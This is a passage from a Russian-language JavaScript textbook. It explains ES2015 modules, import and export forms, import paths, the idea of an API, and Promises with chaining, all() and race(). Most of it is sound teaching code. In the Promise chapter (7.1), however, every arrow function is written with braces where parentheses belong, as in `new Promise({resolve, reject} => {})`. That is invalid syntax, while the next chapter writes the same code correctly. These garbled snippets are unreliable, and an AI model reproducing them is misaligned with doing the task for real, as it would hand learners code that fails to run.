    name: 'Eve',
  };
})();
```

```
// Файл father.js
'use strict';
(function() {
  window.father = {
    name: 'Adam',
  };
})();
```

```
// Файл cain.js
'use strict';
(function() {
  `My mother is ${window.mother.name}`; // My mother is Eve
  `My father is ${window.father.name}`; // My father is Adam
})();
```

У такого подхода был ряд проблем: ручное подключение, необходимость помнить порядок использования зависимостей и так далее.

На замену этому подходу начали появляться другие: AMD, CommonJS, UMD. Не будем останавливаться на них подробно, при желании описание и принципы их работы вы найдёте по ссылкам.

Всё это переизобретение велосипеда продолжалось достаточно долгое время. И вот в 2015 году случилось то, чего многие так ждали. В стандарте ECMAScript 2015 появилась возможность описывать модули штатными средствами языка:

```
// Файл mother.js
const motherName = 'Eve';

export {motherName};
```

```
// Файл father.js
const fatherName = 'Adam';

export {fatherName};
```

```
// Файл cain.js
import {motherName} from './mother.js';
import {fatherName} from './father.js';

`My mother is ${motherName}`; // My mother is Eve
`My father is ${fatherName}`; // My father is Adam
```

Чтобы браузер считал JS-файл модулем, его нужно подключить как модуль:

```
<script type="module" src="cain.js"></script>
```

В противном случае модульные конструкции вроде `import` и `export` ничего кроме ошибки не вызовут.

> **Кстати,** модули по умолчанию работают в строгом режиме, поэтому нет больше необходимости писать `'use strict'`.

Модули ECMAScript 2015 выполняют все задачи, которые мы ставили в начале статьи:

- они ограничивают область видимости переменных, и нам больше не нужно городить IIFE и подобное;
- у модулей есть синтаксис для описания зависимостей;
- у модулей есть синтаксис для описания интерфейса.

Кроме того модули, за счёт `import` и `export` непосредственно внутри JavaScript кода, частично решают проблему порядка подключения JS-файлов. С модулями об этом можно больше не думать.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 6 минут

Глава 6.3. Экспорт и импорт

Ранее мы затронули понятия экспорта `export` и импорта `import`, как способ взаимодействия между модулями. Существует два вида такого взаимодействия и несколько их комбинаций. В этой статье мы рассмотрим виды, в следующих — их комбинации. Начнём с самого простого вида, и в то же время самого надёжного.

Просто импорт

Когда нам нужно только выполнить код модуля, достаточно его просто импортировать:

```
// Файл alert.js
alert('Hello, world!');
```

```
// Файл index.js
import './alert.js';
```

Именованные экспорт и импорт

> **Обратите внимание,** экспорт и импорт похожи на деструктуризацию, но только похожи.

Всё просто, в одном модуле мы явно говорим, что хотим экспортировать:

```
// Файл mother.js
const name = 'Eve';
const age = 18;

export const sex = 'female'; // Экспорт сразу при объявлении

export {name, age}; // Экспорт уже объявленных переменных
```

А в другом явно это импортируем:

```
// Файл cain.js
import {name} from './mother.js';

`My mother is ${name}`; // My mother is Eve
```

Имена переменных должны совпадать полностью. Если запрашиваемой переменной нет среди экспортируемых, то будет ошибка, и модуль не загрузится. Импортировать всё, что экспортирует модуль, необязательно, поэтому мы ограничились только переменной `name`, а могли бы импортировать всё:

```
import {sex, name, age} from './mother.js';
```

Экспортировать одну и ту же переменную дважды нельзя:

```
// Файл mother.js
const name = `Eve`;
const age = 18;

export const sex = `female`;

export {sex};
```

Но если очень надо, есть способ — переименование при экспорте и импорте. О нём поговорим чуть позже.

Импорт — не объявление

Важно помнить, что импорт переменной не то же самое, что её объявление. При импорте переменная не создаётся, а честно импортируется, самая настоящая переменная из другого модуля. Такое поведение справедливо для всех видов импорта, которые мы разберём дальше (экспортировать как-то иначе тоже нельзя), поэтому будьте внимательны при работе с импортированными переменными. Ведь сложные типы данных, вроде объектов или массивов, при импорте передаются по ссылке, и их можно нечаянно испортить:

```
// Файл items.js
const items = ['one', 'two', 'three'];

export {items};
```

```
// Файл reverse.js
import {items} from './items.js';

items.reverse(); // Испортили массив в модуле items.js, хотя переворачиваем его в reverse.js
```

Поэтому не забывайте про `Object.assign()` и `Array.prototype.slice()` и им подобные методы, когда работаете с импортированной структурой:

```
// Файл items.js
const items = ['one', 'two', 'three'];

export {items};
```

```
// Файл reverse.js
import {items} from './items.js';

items.slice().reverse(); // Перевернули копию, исходный массив в items.js остался цел
```

С примитивами тоже не всё так просто. Даже если импортируете `let`-переменную, по спецификации движок JavaScript не позволит вам изменить её. Она считается read-only переменной (доступной только для чтения):

```
// Файл mother.js
let name = 'Eve';

export {name};
```

```
// Файл cain.js
import {name} from './mother.js';

name = 'Adam'; // Ничего не выйдет, кроме ошибки
```

Поэтому распространённой практикой является экспорт только `const`-значений и им подобных (классов, например). На курсе мы тоже будем экспортировать только `const`-переменные или `class`.

Экспорт по умолчанию

Синтаксически экспорт по умолчанию отличается вводом дополнительного ключевого слова `default`:

```
// Файл mother.js
const mother = {
  name: 'Eve',
  age: 18,
  sex: 'female',
};

export default mother;
```

Фигурные скобки не нужны, поскольку экспортировать по умолчанию можно лишь одну переменную.

Главное отличие такого экспорта от именованного — возможность экспортировать значение напрямую, без переменной:

```
// Файл mother.js
export default {
  name: 'Eve',
  age: 18,
  sex: 'female',
};
```

Из-за этого отличается и импорт такого значения «по умолчанию». Раз у нас нет переменной, то под каким именем импортировать? Под любым!

```
import father from './mother.js';
```

В этом заключается и главная особенность, и главная проблема экспорта по умолчанию — мы можем задать любое имя при импорте. Такое поведение усложняет отладку и навигацию по коду, поэтому мы не рекомендуем использовать экспорт по умолчанию.

Нюансы

Код модуля выполняется целиком

Независимо от того, импортирован ли просто модуль `import './alert.js'` или какие-то конкретные переменные из модуля `import {name} from './mother.js'`, браузер выполнит код всего модуля. Другими словами, если модуль импортирован, его код будет выполнен целиком независимо от способа импорта.

Только первый уровень

`import` и `export` не могут быть вложены в функции или другие блоки кода:

```
// Файл cain.js
if (true) {
  // Так нельзя
  import {motherName} from './mother.js';
}

const name = `cain`;

(() => {
  // Так тоже нельзя
  export { name };
})();
```

Никакого поднятия (hoisting)

Импортированные переменные не поднимаются, поэтому `import` всегда должен быть в начале файла:

```
const message = `My mother is ${motherName}`;

// Так нельзя, браузер выдаст ошибку
import {motherName} from `./mother.js`;
```

Импорт того, чего нет

Если импортировать переменную, которая в модуле не экспортируется, получим ошибку.

Динамический импорт

Он существует. Разбирать мы его пока не будем, потому что у него нет полной поддержки браузерами.

Когда что использовать

Мы рекомендуем всегда использовать только именованный экспорт. Исключение — экспорт `class`, но об этом потом.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 4 минуты

Глава 6.4. Экспорт и импорт, продвинутые техники

Переименованный экспорт и импорт

Бывают случаи, когда в одном модуле экспортируется переменная, которая уже существует в другом:

```
// Файл cain.js
import {name} from './mother.js';
import {name} from './father.js';

const name = 'Cain';

// Три переменных "name"? Не может быть!
```

Объявлена переменная в модуле или импортирована — неважно. Имя занято. Да, можно, конечно, изменить название в экспортирующем модуле. Но, во-первых, это не гибкое решение, во-вторых, если модуль чужой, там ничего поменять не получится.

На эти случаи в спецификации есть решение. Импортируемые переменные можно переименовывать:

```
// Файл cain.js
import {name as motherName} from './mother.js';
import {name as fatherName} from './father.js';

const name = 'Cain';

`My mother is ${motherName}`; // My mother is Eve
`My father is ${fatherName}`; // My father is Adam
`My name is ${name}`; // My name is Cain
```

Таким же образом можно переименовать переменную при экспорте. Случай более редкий, но такая возможность есть:

```
// Файл mother.js
const name = 'Eve';

export {name as motherName};
```

```
// Файл cain.js
import {motherName} from './mother.js';
```

Переименованный экспорт и импорт по умолчанию

Если вдруг вам нужно экспортировать переменную как `default`, а писать `export default myVar` почему-то не хочется, можно воспользоваться уже знакомым синтаксисом переименования:

```
// Файл mother.js
const mother = {
  name: 'Eve',
  age: 18,
  sex: 'female',
};

export {mother as default};
```

Никаких отличий или преимуществ, кроме лишних скобок и выражения `as`, в этом способе нет.

Аналогичный способ можно использовать при импорте:

```
// Файл mother.js
export default {
  name: 'Eve',
  age: 18,
  sex: 'female',
};
```

```
// Файл cain.js
import {default as mother} from './mother.js';
```

Тоже никаких отличий или преимуществ перед обычным импортом `import mother from './mother.js'`.

Экспорт построчно или экспорт группой

Эти два способа уживаются друг с другом.

```
// Файл mother.js
const name = 'Eve';
const age = 18;

export const sex = 'female';

export {name, age};
```

Ради единого стиля кодирования стоит выбрать что-то одно: либо экспорт при объявлении построчно, либо в конце файла группой. Лучше второй, потому что он нагляднее.

Импортировать как...

Когда у модуля только именованный экспорт, перечислять все переменные — трудоёмкая задача. Для этого можно воспользоваться конструкцией `import *` и импортировать все именованные экспорты в одно пространство имён:

```
// Файл mother.js
const name = 'Eve';
const age = 18;

export const sex = 'female';

export {name, age};
```

```
// Файл cain.js
import * as mother from './mother.js';

mother; // {sex: 'female', name: 'Eve', age: 18}
```

« **Будьте внимательны,** в этом случае переменная, экспортируемая по умолчанию, попадёт в импортируемый объект с ключом `default`. А ещё такой способ является небезопасным, потому что мы импортируем всё и сразу, при этом не знаем, что именно.

Как видите, комбинаций экспорта и импорта множество. Однако, не обязательно использовать их все.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 2 минуты

Глава 6.5. Пути импорта

В одной из прошлых статей мы выяснили, что ни импорт, ни экспорт не могут быть вложены в другие блоки кода, и что импорт всегда должен быть вверху модуля.

Теперь давайте рассмотрим, как `import` загружает скрипт по URL. Путь может быть указан как в одинарных:

```
import mother from './mother.js';
```

Так и в двойных кавычках:

```
import mother from "./mother.js";
```

Путь может быть абсолютным или относительным. Поддерживаются:

```
import 'https://jakearchibald.com/utils/bar.js'; // URL
import '/utils/bar.js'; // Абсолютный путь относительно домена
import './bar.js'; // Относительный путь от текущего модуля
import '../bar.js'; // Относительный путь от родительской директории
```

Не поддерживаются:

```
import 'bar.js';
import 'utils/bar.js';
```

«Не поддерживаются» в данном случае значит, что «синтаксис зарезервирован». На самом деле такой импорт используется для подключения сторонних библиотек из пакетных менеджеров вроде npm и не является частью стандарта ECMAScript.

О чём ещё стоит помнить

Ошибка при загрузке

Если при загрузке модуля или его дочерних модулей (тех, которые он импортирует) произошла ошибка, все родительские модули (которые его импортируют) не будут загружены.

Путь — константа

Путь в конструкции `import` является константой и не может быть сборным:

```
import 'https://funny-random-script.zone/' + Math.random() + '/script.js'; // Так нельзя
import `https://funny-random-script.zone/${Math.random()}/script.js`; // И так нельзя
import 'https://funny-random-script.zone/' + 'js/' + 'script.js'; // Так тоже нельзя
```

Либо прочитан из переменной:

```
const path = 'https://funny-random-script.zone/js/script.js';
import path; // Даже так нельзя
```

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 3 минуты

Глава 6.6. Понятие API

API — это аббревиатура от «Application Programming Interface», что на русский можно перевести как «интерфейс программирования приложений» или «программный интерфейс приложения». Хотя разработчики обычно сокращают до просто «интерфейс» или так и говорят АПИ.

API позволяет двум частям одной программы, а чаще двум разным программам, общаться друг с другом. Буквально одна программа говорит другой: у меня такой-то интерфейс, обращайся ко мне по таким-то правилам, и всё будет работать.

В реальной жизни вы повсеместно наблюдаете интерфейсы. Например, вилка и розетка — это интерфейс, который позволяет взаимодействовать любому электронному прибору с любой розеткой (разные стандарты вилок пока опустим).

В JavaScript вы тоже уже сталкивались с интерфейсами. Например для работы с массивами JavaScript предоставляет вам набор методов, это интерфейс. И когда вы пишете:

```
[1, 2, 3].forEach((number) => console.log(number));
```

Вы используете интерфейс массивов.

Почему «интерфейс»?

Казалось бы, у программы нет какого-то визуального представления, нет интерфейса, почему используется именно это слово? Дело в том, что понятие интерфейса гораздо шире:

> « Интерфейс — совокупность средств, методов и правил взаимодействия между элементами системы. *Википедия*

И когда мы говорим про программный интерфейс, это совокупность методов (функций), которые позволяют взаимодействовать разным элементам системы, не вдаваясь в реализацию этих методов. Поэтому так и говорят: реализация (функциональность программы) скрыта за интерфейсом. Возвращаясь к примеру про вилку и розетку, можно сказать, что мы не задумываемся, как устроена электропроводка или шнур питания, мы просто вставляем вилку в розетку и ждём, что прибор заработает.

Можно ли обойтись без интерфейса?

Если программа должна взаимодействовать с другими программами, с внешним миром, то без интерфейса не обойтись. Потому что даже если опять взять наш пример про вилку и розетку, убрать из него вилку и розетку, оставив просто два провода, прибор всё равно можно будет подключить в сеть, соединив провода и замотав синей изолентой. Это по-прежнему будет интерфейс, просто плохой.

Каким должен быть API

Правил или ограничений по написанию интерфейса программы нет. Однако, хорошие разработчики стараются сделать API своих программ как можно более простым и понятным в использовании: называют методы понятно и однозначно, не раздувают набор методов, создают к своей программе подробную документацию с описанием каждого метода API.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 10 минут

Глава 7.1. Промисы

При написании асинхронного кода в JavaScript, чтобы выполнить какое-то действие после завершения асинхронной операции, применяют функции обратного вызова или, проще говоря, колбэки. Идея функций обратного вызова предельно проста и удобна в использовании, но с колбэками *легко* случайно свернуть на шоссе «ад колбэков».

> Что такое «ад колбэков»?
>
> Код на JavaScript, в котором используется много-много вложенных функций обратного вызова. Так много, что в таком коде трудно интуитивно разобраться.
> *Больше информации и примеры на* callbackhell.ru

Бороться с «адом колбэков» можно несколькими способами. Самый банальный — реструктуризация кода. Отказаться от пары колбэков. Функции, что останутся, вынести и записать в переменные. И таким образом немного разгрузить основной код. Способ рабочий, но не сильно действенный, потому что проверить такой трюк получается далеко не всегда.

Более элегантный способ заключается в применении **Promise**(*с англ. «обещание». Чаще не переводится, поэтому далее «промис»*). Поддержка промисов появилась в ECMAScript 2015. Промисы позволяют организовать асинхронный код по-другому: сделать его более плоским и последовательным, похожим на синхронный код.

Promise (промис)

Промис — это глобальный объект `Promise`. Он позволяет отследить выполнение асинхронной операции и *хранить результат*. Сами асинхронные операции выполняются как и прежде: не сразу, а когда-нибудь. Поэтому важно запомнить и уяснить, промисы — это не «магическая» замена асинхронных операций и не возможность получить результат такой операции сразу. Это просто объект, позволяющий более эффективно работать с асинхронным кодом.

Синтаксис

Чтобы воспользоваться промисами, необходимо создать экземпляр объекта `Promise` с помощью `new`:

```
const myPromise = new Promise({resolve, reject} => {});
```

Аргументом в `new Promise()` нужно передать функцию. Её принято называть «функция-исполнитель» (от англ. executor). У этой функции два параметра-колбэка:

- `resolve` — колбэк, который нужно вызвать, если промис завершён успешно;
- `reject` — колбэк, который нужно вызвать, если промис завершён с ошибкой.

Например:

```
const myPromise = new Promise({resolve, reject} => {
  if (2 > 1) {
    // Если всё верно, вызываем resolve, и тем самым объявляем, что myPromise завершён успешно
    resolve();
  } else {
    // Если в какой-то вселенной 2 не больше 1, вызываем reject, и тем самым объявляем, что
myPromise завершён с ошибкой
    reject();
  }
});
```

Что значит «завершён», и о других состояниях промиса мы поговорим в конце главы.

Важно уточнить, что функцию-исполнителя браузер выполнит сразу. Это может быть неочевидно на первый взгляд. Для примера запустите в консоли код:

```
const myPromise = new Promise({} => {
  console.log('Привет! Я функция-исполнитель.');
});
```

После выполнения в консоль сразу же выведется `'Привет! Я функция-исполнитель.'`

Использование

Возникает закономерный вопрос «Где же асинхронность?» Внутри функции-исполнителя! Поскольку она вызывается сразу, асинхронный код встанет в очередь на выполнение, и останется только дожидаться, когда он завершится, чтобы вызвать `resolve` или `reject`. Причём колбэк `resolve` должен быть вызван в случае успешного выполнения асинхронной операции, а `reject` — если что-то пошло не так.

Представим наш пример про приготовление завтрака (в конкретно каши) из главы про асинхронность в виде кода на промисах. Каша — это промис `porridge`. Асинхронной мультиваркой у нас выступит переменная `multicooker`, которой для простоты примера можно добавить обработчики событий `done` (каша готова) и `error` (что-то пошло не так):

```
const porridge = new Promise({resolve, reject} => {
  multicooker.addEventListener('done', () => {
    resolve('Овсянка, сэр.');
  });
  multicooker.addEventListener('error', () => {
    reject('Каши не будет, электричество кончилось.');
  });
});

// Другой код программы...
```

Если нам нужно вернуть значение, его нужно передать аргументом `resolve` *или* `reject`.

Функцию-исполнитель браузер выполнит сразу, и мультиварка `multicooker` добавяется два обработчика событий. Затем выполнение перейдёт к другому коду программы. Колбэки же `resolve` или `reject` будут вызваны лишь тогда, когда у мультиварки наступят соответствующие события. Вот она, асинхронность.

Результат

Всё складно, кроме одного. Если выполнение после создания промиса переходит к другому коду программы, как нам получить результат, который будет передан, например, в `resolve`? Для этого у каждого созданного промиса есть метод `then()`:

```
const porridge = new Promise({resolve, reject} => {
  multicooker.addEventListener('done', () => {
    resolve('Овсянка, сэр.');
  });
  multicooker.addEventListener('error', () => {
    reject('Каши не будет, электричество кончилось.');
  });
});

+// В then первым аргументом мы передаём функцию,
+// которая станет тем самым колбэком resolve
+porridge.then({message} => {
+  console.log(message); // 'Овсянка, сэр.'
+});

// Другой код программы...
```

Вторым аргументом можно передать функцию, которая станет колбэком `reject`.

Таким образом выстраивается цепочка:

- браузер создаёт промис `porridge` и выполняет функцию-исполнитель;
- функция-исполнитель добавляет обработчики мультиварке `multicooker` с вызовом колбэков промиса;
- далее выполняется переход к `then()`, и с его помощью мы указываем браузеру, что нужно сделать, когда от мультиварки будет результат (выполнить переданную в `then()` функцию);
- при этом, пока нет результата, разрешаем браузеру выполнять другой код программы.

Метод `then()` своего рода мостик к функции-исполнителю, которую мы определили при создании нашего промиса `porridge`.

Промисы в реальной жизни

Ненадолго вернёмся к теории и более скрупулёзно посмотрим на промисы. Дословно с английского слово «promise» переводится как «обещание». Перевод отчасти объясняет основную концепцию промисов. При выполнении какой-то асинхронной операции нет возможности получить результат сразу. Вместо этого мы получаем обещание, что задача будет выполнена. Возможно успешно, а может быть с ошибкой. Об этом разработчик узнает, когда обещание будет выполнено.

Проведём аналогию с реальной жизнью. Представьте, что вы собрались в кинотеатр и покупаете для этого билет. Обычно билет в кино приобретается заблаговременно в интернете. И в данном случае билет является обещанием, что вы сможете посмотреть кино, но это произойдёт не сразу после покупки. Сперва нужно дождаться до кинотеатра. И когда вы будете сидеть в удобном кресле и наслаждаться просмотром, можно сказать, что был вызван колбэк `resolve` и ~~обещание выполнено~~, промис завершён успешно.

Но! Всегда есть место форс-мажору, и в назначенный час в кинотеатре могут отключить электричество. Кино не покажут, но вам обязательно об этом сообщат. В этом случае можно сказать, что был вызван колбэк `reject` и *промис* также завершён, но с ошибкой.

Состояние промиса

Мы уже с вами затрагивали состояние завершённости промиса, давайте разберёмся во всех возможных состояниях промисов.

Как только мы объявляем промис, он попадает в состояние *pending*, что означает *выполняется*:

```
const myPromise = new Promise({} => {});
```

Затем, когда и если будут вызваны колбэки `resolve` или `reject`, промис перейдёт в состояние *settled*, что означает *завершён*:

```
const myPromise = new Promise({resolve, reject} => {
  if (2 > 1) {
    resolve();
  } else {
    reject();
  }
});
```

> **Обратите внимание,** состояние меняется автоматически в зависимости от вызываемого колбэка. Никакой специальный код, который явно будет менять состояние промиса, писать не нужно.

В зависимости от того, будет вызван колбэк `resolve` или `reject`, состояние завершённости соответственно может быть *fulfilled*, что означает *завершён успешно*, или *rejected*, что означает *завершён с ошибкой*.

Итого получается 3 состояния (settled не считаем за отдельное):

- pending — выполняется
- settled — завершён:
  - fulfilled — завершён успешно
  - rejected — завершён с ошибкой

Рисунок 1. Три состояния промисов

Почему важно помнить о состояниях промиса

Промисы не позволяют откатиться на предыдущее состояние. Такой возможности не существует. Например, если мы вызвали `resolve`, переведя тем самым промис в состояние `fulfilled`, то даже если сразу после выполнить `reject`, состояние промиса не изменится:

```
const myPromise = new Promise({resolve, reject} => {
  resolve(); // На этой строчке myPromise будет успешно завершён
  reject(); // И вызов reject уже ни на что не повлияет
});
```

Справедливо и обратное: после выполнения `reject` вызов `resolve` не приведёт к изменению состояния промиса.

> Кстати, выполнение сразу и `resolve`, и `reject` не приведёт к ошибке, просто тот колбэк, который будет идти вторым, уже не повлияет на состояние промиса.

Поэтому будьте внимательны, когда вызываете `resolve` или `reject`. Обратного пути не будет.

Резюме

Мы познакомились с промисами и узнали, как их применять на практике. Всё, что для этого требуется — создать экземпляр объекта `Promise`. При использовании промисов стоит запомнить несколько важных вещей. Функция-исполнитель выполняется сразу. Промис может находиться в трёх состояниях. Нет возможности откатиться к предыдущему состоянию.

Промисы сложны в понимании, но они сильно упрощают применение асинхронных операций. По сути мы продолжаем использовать колбэки, но промисы позволяют это сделать более элегантным образом. В результате асинхронный код визуально становится более понятным и очевидным.

Теория ~ 7 минут

Глава 7.2. Цепочки промисов

Прежде, чем перейти к цепочкам промисов, разберёмся до конца с методами промисов. Из прошлой статьи вы уже знаете, что существует метод `then()` и чтобы получить результат завершённого промиса, нужно передать в него две функции, которые впоследствии станут колбэками `resolve` и `reject`:

```
const myPromise = new Promise((resolve, reject) => {});

myPromise.then(
  () => {}, // Станет resolve
  () => {}, // Станет reject
);
```

Однако для передачи функции, которая станет колбэком `reject`, есть другой способ.

Метод `catch()`

Второй способ обработки перехода промиса в состояние *завершён с ошибкой* заключается в использовании метода `catch()`. Аргументом ему необходимо передать колбэк для `reject`:

```
const myPromise = new Promise((resolve, reject) => {});

myPromise.then(() => {});
myPromise.catch(() => {});
```

Однако так почти никто не пишет, поскольку в промисах можно использовать цепочки вызовов методов:

```
const myPromise = new Promise((resolve, reject) => {});

myPromise.then(() => {}).catch(() => {});
```

Работает это так: первым мы вызываем `then()` у `myPromise`, вызов которого тоже возвращает промис, поэтому мы можем снова вызвать метод промиса `catch()`. Причём вызывать именно `catch()` не обязательно, можно снова `then()`, например:

```
const myPromise = new Promise((resolve, reject) => {});

myPromise.then(() => {}).then(() => {}).catch(() => {});
```

Это и есть «цепочки промисов», но о них в конце главы.

Метод `finally()`

Кроме `then()` и `catch()` существует метод `finally()`. На случай, когда нужно выполнить функцию вне зависимости от того, завершился промис успешно или с ошибкой. Другими словами `finally()` позволяет не дублировать один и тот же код в `then()` и `catch()`:

```
const myPromise = new Promise((resolve, reject) => {});

myPromise
  .then(() => {
    console.log('Промис завершён успешно :-)');
    console.log('Спасибо за внимание');
  })
  .catch(() => {
    console.log('Промис завершён с ошибкой :-(');
    console.log('Спасибо за внимание');
  });
```

```
const myPromise = new Promise((resolve, reject) => {});

myPromise
  .then(() => {
    console.log('Промис завершён успешно :-)');
-    console.log('Спасибо за внимание');
  })
  .catch(() => {
    console.log('Промис завершён с ошибкой :-(');
-    console.log('Спасибо за внимание');
  })
+  .finally(() => {
+    console.log('Спасибо за внимание');
+  });
```

Цепочки промисов

Синтаксис

Мы рассмотрели общий принцип работы с промисами и теперь готовы познакомиться с важной возможностью промисов: построением цепочек. Начнём с основ. Ранее мы вскользь проговорили, что метод `then()` возвращает промис. Так вот, методы `then()`, `catch()` и `finally()` всегда возвращают новый промис. За счёт этого мы можем строить цепочки вызовов методов промисов. Собственно это мы и сделали, когда использовали метод `catch()` и `finally()`. Всё благодаря тому, что сперва `then()` вернул новый промис, а потом `catch()`.

А зачем нам может пригодиться эта возможность? Для последовательного выполнения операций! Давайте детально разберём наш пример про кашу на завтрак. Что скрывается за словами «приготовить кашу»? Даже с нашей чудо-мультиваркой это несколько последовательных асинхронных действий: насыпать крупу, залить молоком, добавить масло, запустить программу. Вот тут нам и пригождаются цепочки:

```
const breakfast = new Promise();

// Для простоты примера просто представим,
// что все функции, переданные в then, объявлены ранее

breakfast
  .then(getOatmeal) // Находим крупу
  .then(getMilk) // Находим молоко
  .then(getButter) // Находим масло
  .then(shakeProducts) // Смешиваем всё в мультиварке
  .then(startMulticookerProgran) // Запускаем программу мультиварки
  .then(() => {}) // Последний then на случай успеха
  .catch(() => {}); // catch на случай ошибки в любом месте
```

Глядя на этот код, мы можем легко определить последовательность действий. Давайте вместе проговорим, как выполняется приведённый фрагмент кода: первый `then()` вернёт новый промис. Затем мы снова вызываем `then()` и определяем колбэк для `resolve` уже этого нового промиса. После мы повторяем этот алгоритм для всех остальных `then()` и, на случай ошибки где-то в цепочке, определяем колбэк для `catch()`.

> **Обратите внимание** на применение метода `catch()`. Мы описываем его один раз в конце цепочки промисов. Как в этом случае будет происходить обработка ошибки? Если любой из вышестоящих промисов в цепочке будет *завершён с ошибкой*, то мы попадём в `catch()` и сможем обработать эту ситуацию. Стоит отметить, что выполнение цепочки на этом прекратится. Если ошибка произошла в первом `then()`, то последующие `then()` выполняться не будут, инициативу перехватит `catch()`.

Результат предыдущего промиса в цепочке

При построении цепочек из промисов мы получаем ещё одну крутую возможность — передачу результата выполнения промиса вниз по цепочке. Это означает, что в каждом последующем `then()` мы можем получить результат выполнения колбэка предыдущего `then()`. Посмотрим на примере:

```
// Объявляем промис sum и сразу успешно его завершаем с результатом 1
const sum = new Promise((resolve) => resolve(1));

sum
  .then((result) => result + 1) // Затем результат попадёт в then, где увеличивается на единицу и
передаётся дальше
  .then((result) => result + 1) // И снова +1
  .then((result) => console.log(result)); // В итоге: 1 + 1 + 1 = 3
```

Каждый колбэк, который мы описываем для `then()`, возвращает результат увеличения значения, полученного в виде параметра на единицу. Этот результат передаётся вниз по цепочке. Таким образом, в конце мы получаем `3`. Эту возможность можно сравнить с конвейерной лентой. На каждом шаге появляется возможность улучшить предыдущий результат.

Цепочки промисов на практике

Наверняка вас интересует вопрос применения цепочек из промисов на практике. Подход применяется довольно часто. Возьмём задачу получения данных от сервера. Сначала мы должны получить данные (например, в виде JSON строки), затем их десериализовать (прочитать), потом, возможно, нужно что-то в них добавить или удалить, и так далее. Это прекрасная задачка для применения цепочек.

Резюме

Методы `then()`, `catch()` и `finally()` всегда возвращают новый промис. За счёт этого появляется возможность строить цепочки вызовов промисов.

Теория ~ 6 минут

Глава 7.3. Методы глобального объекта Promise

Мы познакомились с методами `then()`, `catch()` и `finally()`, которые чаще всего используются с промисами. Но у объекта `Promise` есть ещё несколько «тузов в рукаве».

Метод `all()`

Метод `all` может пригодиться в ситуациях, когда требуется дождаться завершения нескольких промисов. `all()` принимает в качестве единственного аргумента массив из промисов и возвращает новый промис, который будет завершён успешно, как только завершатся успешно все переданные в `all()` промисы. Если хоть один переданный в `all()` промис завершится с ошибкой, тогда и промис `all()` будет завершён с ошибкой.

Представим, что нам требуется выполнить несколько асинхронных операций, и только потом начать работать с их результатами. Чтобы представить было проще, рассмотрим эту задачу сразу на примере:

```
// makeAsyncThing — функция «чёрный ящик», понимать её реализацию не нужно,
// достаточно запомнить, что она возвращает промис,
// который будет завершён через 1000 мс
const makeAsyncThing = (number) => {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      resolve(`Это действие №${number}`);
    }, 1000);
  });
};

const firstThing = makeAsyncThing(1);
const secondThing = makeAsyncThing(2);
const thirdThing = makeAsyncThing(3);

Promise
  .all([
    firstThing,
    secondThing,
    thirdThing,
  ])
  .then((value) => console.log(value));
```

Функция `makeAsyncThing` делает бесполезную работу — принимает номер действия и формирует информационную строку, используя этот номер. Дальше мы определяем несколько действий — 1, 2, 3. Наша задача дождаться выполнения всех этих действий, а затем вывести в консоль полученный результат.

В этом нам поможет метод `all()`. В качестве параметра мы передаём массив из подготовленных промисов `firstThing`, `secondThing` и `thirdThing`. Результатом будет новый промис, который в случае успешного завершения вернёт также в массиве результаты всех промисов. Таким образом, в колбэке `then()` в параметре `value` будет массив со значениями завершённых промисов `firstThing`, `secondThing` и `thirdThing`.

```
▶ (3) ["Это действие №1", "Это действие №2", "Это действие №3"]
>
```

Рисунок 1. Результат применения Promise.all

Обратите внимание на порядок значений в массиве с результатами. Он соответствует порядку переданных в метод `all` промисов. Чтобы убедиться в этом, в качестве эксперимента вы можете изменить порядок промисов, передаваемых в метод `all`:

```
.all([
  thirdThing,
  firstThing,
  secondThing,
])
```

Мы нарочно поставили на первое место третий промис. Результаты в массиве тоже сменят порядок:

```
▶ (3) ["Это действие №3", "Это действие №1", "Это действие №2"]
>
```

Рисунок 2. Результат применения Promise.all в изменённом порядке

На практике метод `all()` может применяться, когда нужно получить данные от сервера по нескольким адресам, и только после выполнить с ними какую-то работу.

Метод `race()`

У объекта `Promise` есть ещё один полезный метод — `race()`. Дословно это слово можно перевести как «гонка». В отличие от метода `all()`, он не будет ждать завершения всех промисов, а дождётся завершения одного, который «придёт первым к финишу»

Рассмотрим тот же пример, только вместо `all()` используем `race()` и немного модифицируем функцию «чёрный ящик»:

```
// makeAsyncThing — функция «чёрный ящик», понимать её реализацию не нужно,
// достаточно запомнить, что она возвращает промис,
// который будет завершён через переданное в delay количество мс
const makeAsyncThing = (number, delay) => {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      resolve(`Это действие №${number}`);
    }, delay);
  });
};

const firstThing = makeAsyncThing(1, 500);
const secondThing = makeAsyncThing(2, 1000);
const thirdThing = makeAsyncThing(3, 2000);

Promise
  .race([
    firstThing,
    secondThing,
    thirdThing,
  ])
  .then((value) => console.log(value));
```

Результат выполнения вы можете увидеть на рисунке ниже.

```
Это действие №1
>
```

Рисунок 3. Результат применения Promise.race

Результатом будет строка `Это действие №1`, не потому что мы первым в `race()` передали `firstThing`. Порядок передачи промисов в `race()` не важен. Всё дело в том, что `firstThing` имеет меньшую задержку: 500 мс против 1000 мс и 2000 мс у `secondThing` и `thirdThing` соответственно. Скопируйте пример в консоль, измените задержку у промисов, и результат будет уже другим.

На практике метод `race()` может применяться, когда нужно получить похожие данные по нескольким адресам или от нескольких серверов, и выполнить с данными какую-то работу, как только любой источник ответит.

Методы `resolve()` и `reject()`

В прошлых главах мы пользовались объектом `Promise` для создания новых промисов. Это отличный вариант, но в некоторых ситуациях (особенно во время разработки) он многословен. Представьте, что для целей разработки вам нужен промис, который сразу же завершается успешно. Или наоборот, сразу же завершается с ошибкой. Для построения цепочки. В этом случае создавать объект, описывать функцию-исполнитель немного многословно.

К счастью, у объекта `Promise` есть два метода — `resolve()` и `reject()` — которые возвращают промис сразу в нужном состоянии. Первый метод в состоянии *завершён успешно*, второй — *завершён с ошибкой*:

```
const getData = () => Promise.resolve('Данные загружены!');
// В getData попадёт промис в состоянии fulfillled

const getError = () => Promise.reject('Произошла ошибка');
// В getError попадёт промис в состоянии rejected
```

Это равносильно, если бы мы написали:

```
const getData = () => new Promise((resolve, reject) => resolve('Данные загружены!'));

